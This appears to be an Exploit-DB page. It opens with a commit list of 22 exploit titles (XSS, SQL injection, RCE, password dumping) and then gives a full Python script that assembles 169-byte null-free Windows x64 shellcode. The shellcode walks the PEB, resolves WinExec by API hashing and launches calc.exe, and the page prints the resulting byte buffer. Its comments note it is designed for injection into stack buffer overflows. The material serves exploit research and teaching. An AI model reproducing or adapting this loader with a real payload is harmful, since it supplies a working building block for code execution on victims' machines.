c18d9953a2
22 changes to exploits/shellcodes/ghdb Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping Active Super Shop CMS v2.5 - HTML Injection Vulnerabilities Availability Booking Calendar v1.0 - Multiple Cross-site scripting (XSS) Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities Joomla HikaShop 4.7.4 - Reflected XSS Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS mooDating 1.2 - Reflected Cross-site scripting (XSS) October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated) PaulPrinting CMS - (Search Delivery) Cross Site Scripting Perch v3.2 - Persistent Cross Site Scripting (XSS) RosarioSIS 10.8.4 - CSV Injection WordPress Plugin AN_Gradebook 5.0.1 - SQLi Zomplog 3.9 - Cross-site scripting (XSS) zomplog 3.9 - Remote Code Execution (RCE) copyparty 1.8.2 - Directory Traversal copyparty v1.8.6 - Reflected Cross Site Scripting (XSS) GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution mRemoteNG v1.77.3.1784-NB - Cleartext Storage of Sensitive Information in Memory Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
128 lines
No EOL
4.7 KiB
Python
Executable file
128 lines
No EOL
4.7 KiB
Python
Executable file
import ctypes, struct
|
|
from keystone import *
|
|
|
|
|
|
# Shellcode Author: Senzee
|
|
# Shellcode Title: Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
|
|
# Date: 07/26/2023
|
|
# Platform: Windows x64
|
|
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
|
|
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
|
|
# Shellcode size: 169 bytes
|
|
# Shellcode Desciption: Windows x64 shellcode that dynamically resolves the base address of kernel32.dll via PEB and ExportTable method.
|
|
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.
|
|
|
|
|
|
CODE = (
|
|
"find_kernel32:"
|
|
" xor rdx, rdx;"
|
|
" mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
|
|
" mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
|
|
" mov rsi,[rsi + 0x20];" # RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure
|
|
" mov r9, [rsi];" # Current module is python.exe
|
|
" mov r9, [r9];" # Current module is ntdll.dll
|
|
" mov r9, [r9+0x20];" # Current module is kernel32.dll
|
|
" jmp call_winexec;"
|
|
|
|
"parse_module:" # Parsing DLL file in memory
|
|
" mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset
|
|
" xor r15, r15;"
|
|
" mov r15b, 0x88;" # Offset to Export Directory
|
|
" add r15, r9;"
|
|
" add r15, rcx;"
|
|
" mov r15d, dword ptr [r15];" # Get the RVA of the export directory
|
|
" add r15, r9;" # R14 stores the VMA of the export directory
|
|
" mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value
|
|
" mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT
|
|
" add r14, r9;" # R14 stores the VMA of ENPT
|
|
|
|
"search_function:" # Search for a given function
|
|
" jrcxz not_found;" # If RCX is 0, the given function is not found
|
|
" dec ecx;" # Decrease index by 1
|
|
" xor rsi, rsi;"
|
|
" mov esi, [r14 + rcx*4];" # RVA of function name string
|
|
" add rsi, r9;" # RSI points to function name string
|
|
|
|
"function_hashing:" # Hash function name function
|
|
" xor rax, rax;"
|
|
" xor rdx, rdx;"
|
|
" cld;" # Clear DF flag
|
|
|
|
"iteration:" # Iterate over each byte
|
|
" lodsb;" # Copy the next byte of RSI to Al
|
|
" test al, al;" # If reaching the end of the string
|
|
" jz compare_hash;" # Compare hash
|
|
" ror edx, 0x0d;" # Part of hash algorithm
|
|
" add edx, eax;" # Part of hash algorithm
|
|
" jmp iteration;" # Next byte
|
|
|
|
"compare_hash:" # Compare hash
|
|
" cmp edx, r8d;"
|
|
" jnz search_function;" # If not equal, search the previous function (index decreases)
|
|
" mov r10d, [r15 + 0x24];" # Ordinal table RVA
|
|
" add r10, r9;" # Ordinal table VMA
|
|
" movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1
|
|
" mov r11d, [r15 + 0x1c];" # RVA of EAT
|
|
" add r11, r9;" # VMA of EAT
|
|
" mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function
|
|
" add rax, r9;" # RAX stores VMA of the function
|
|
" ret;"
|
|
"not_found:"
|
|
" ret;"
|
|
|
|
|
|
"call_winexec:"
|
|
" mov r8d, 0xe8afe98;" # WinExec Hash
|
|
" call parse_module;" # Search and obtain address of WinExec
|
|
" xor rcx, rcx;"
|
|
" push rcx;" # \0
|
|
" mov rcx, 0x6578652e636c6163;" # exe.clac
|
|
" push rcx;"
|
|
" lea rcx, [rsp];" # Address of the string as the 1st argument lpCmdLine
|
|
" xor rdx,rdx;"
|
|
" inc rdx;" # uCmdShow=1 as the 2nd argument
|
|
" sub rsp, 0x28;"
|
|
" call rax;" # WinExec
|
|
|
|
)
|
|
|
|
|
|
# Payload size: 169 bytes
|
|
# buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
|
|
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
|
|
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
|
|
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
|
|
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
|
|
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
|
|
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
|
|
# buf += b"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
|
|
# buf += b"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0"
|
|
|
|
|
|
|
|
|
|
ks = Ks(KS_ARCH_X86, KS_MODE_64)
|
|
encoding, count = ks.asm(CODE)
|
|
print("%d instructions..." % count)
|
|
|
|
sh = b""
|
|
for e in encoding:
|
|
sh += struct.pack("B", e)
|
|
shellcode = bytearray(sh)
|
|
sc = ""
|
|
print("Payload size: "+str(len(encoding))+" bytes")
|
|
|
|
|
|
counter = 0
|
|
sc = "buf = b\""
|
|
for dec in encoding:
|
|
if counter % 20 == 0 and counter != 0:
|
|
sc += "\"\nbuf += b\""
|
|
sc += "\\x{0:02x}".format(int(dec))
|
|
counter += 1
|
|
|
|
if count % 20 > 0:
|
|
sc += "\""
|
|
print(sc)
|
|
|
|
print("Payload size: "+str(len(encoding))+" bytes") |